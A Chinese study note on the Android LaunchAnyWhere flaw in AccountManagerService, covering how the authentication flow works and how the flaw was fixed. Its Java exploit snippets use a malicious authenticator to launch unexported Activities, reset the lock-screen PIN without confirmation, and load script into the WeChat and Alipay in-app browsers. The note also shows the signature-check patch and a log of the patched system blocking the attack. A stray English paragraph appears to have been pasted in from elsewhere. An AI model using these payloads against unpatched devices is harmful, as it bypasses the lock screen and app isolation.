LaunchAnyWhere学习笔记

LaunchAnyWhere学习笔记

这是一个AccountManagerService的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity,突破进程间组件访问隔离的限制。

1 AccountManagerService

The steps we’ll performs to get this done:

  1. Creating our Authenticator - the brain behind this operation
  2. Creating the Activities - in those the user will enter his credentials
  3. Creating the Service - through it we can communicate with the authenticator

AccountManagerService同样也是系统服务之一,暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。

当我们在调用addAcount方法时会发生以下调用:

1586610831985

上图是Android处理身份认证的过程

假设AppAsetting,有AppB提供了账号授权功能。

当我们在setting中点击添加账户的时候

  1. setting调用AccountManager.addAccount()方法
  2. 产生系统调用,在system_server层调用addAccount方法
  3. AccountManager会去查找提供账号的应用AppBAuthentctor
  4. 调用Authentctor.addAccount方法,返回一个Intent
  5. 系统将Intent转发给setting
  6. AccountManagerResponseAppA的进程空间内调用startActivity(intent)调起一个Activity。而AppA对此并不知情。

如果第四步代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 添加账户
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.v(TAG, "addAccount");
Intent intent = new Intent();
// 重置PIN
intent.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.ChooseLockPassword"
));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
Log.v(TAG, "addAccount"+bundle);
return bundle;
}

而在第六步的时后有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
public void onResult(Bundle bundle) {
Intent intent = bundle.getParcelable(KEY_INTENT);
if (intent != null && mActivity != null) {
// since the user provided an Activity we will silently start intents
// that we see
mActivity.startActivity(intent);
// leave the Future running to wait for the real response to this request
} else if (bundle.getBoolean("retry")) {
...
}
}
}

那么当我们在setting中点击添加账户的时候就会自启动ChooseLockPassword

2 利用

如果假设AppASettingsAppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。

其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings,并给Intent带上特定的参数,即可让Settings触发launchAnyWhere

1
2
3
4
5
6
7
8
9
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {Constants.ACCOUNT_TYPE};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

1586614098225

3 应用场景

3.1 重置pin码

1
2
3
4
5
6
7
8
9
intent.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

3.2 调用微信内置浏览器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final static String HTML2 = 
"<script language="javascript" type="text/javascript">" +
"window.location.href="http://blogs.360.cn"; " +
"</script>";
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,String authTokenType, String[] requiredFeatures, Bundle options) {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.tencent.mm",
"com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("data", HTML2);
intent.putExtra("baseurl", "http://www.g.cn");
intent.putExtra("title", "Account bug");
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
}

3.3 调用支付宝钱包内置浏览器

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("url", "http://drops.wooyun.org/webview.html");
intent.putExtra("title", "Account bug");
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

4 修复

ResponseonResult方法中添加了检查返回的intent所指向的Activity和AppB是否有相同签名的方法

1586674300271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Override
public void onResult(Bundle result) {
mNumResults++;
Intent intent = null;
if (result != null && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
/*
* The Authenticator API allows third party authenticators to
* supply arbitrary intents to other apps that they can run,
* this can be very bad when those apps are in the system like
* the System Settings.
*/
PackageManager pm = mContext.getPackageManager();
ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
int authenticatorUid = Binder.getCallingUid();
if (PackageManager.SIGNATURE_MATCH !=
pm.checkSignatures(authenticatorUid, targetUid)) {
throw new SecurityException(
"Activity to be started with KEY_INTENT must " +
"share Authenticator's signatures");
}
}
...
}

5 修复后测试

1
2
3
4
5
6
7
8
9
10
2020-04-12 15:08:49.957 1451-1731/system_process I/ActivityManager: START u0 {flg=0x8000 cmp=com.android.settings/.Settings$AccountSettingsActivity (has extras)} from uid 1000 on display 0
2020-04-12 15:08:50.199 1451-1472/system_process I/ActivityManager: Displayed com.android.settings/.Settings$AccountSettingsActivity: +237ms
2020-04-12 15:08:54.606 1451-1463/system_process I/ActivityManager: START u0 {act=android.settings.ADD_ACCOUNT_SETTINGS cmp=com.android.settings/.accounts.AddAccountSettings (has extras)} from uid 1000 on display 0
2020-04-12 15:08:54.627 1451-2413/system_process I/ActivityManager: START u0 {cmp=com.android.settings/.Settings$ChooseAccountActivity (has extras)} from uid 1000 on display 0
2020-04-12 15:08:54.715 1451-1730/system_process W/Binder: Binder call failed.
java.lang.SecurityException: KEY_INTENT resolved to an Activity (com.android.settings.ChooseLockPassword) in a package (com.android.settings) that does not share a signature with the supplying authenticator (com.example.android.samplesync).
at com.android.server.accounts.AccountManagerService$Session.checkKeyIntent(AccountManagerService.java:4202)
at com.android.server.accounts.AccountManagerService$Session.onResult(AccountManagerService.java:4353)
at android.accounts.IAccountAuthenticatorResponse$Stub.onTransact(IAccountAuthenticatorResponse.java:59)
at android.os.Binder.execTransact(Binder.java:565)

参考

launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )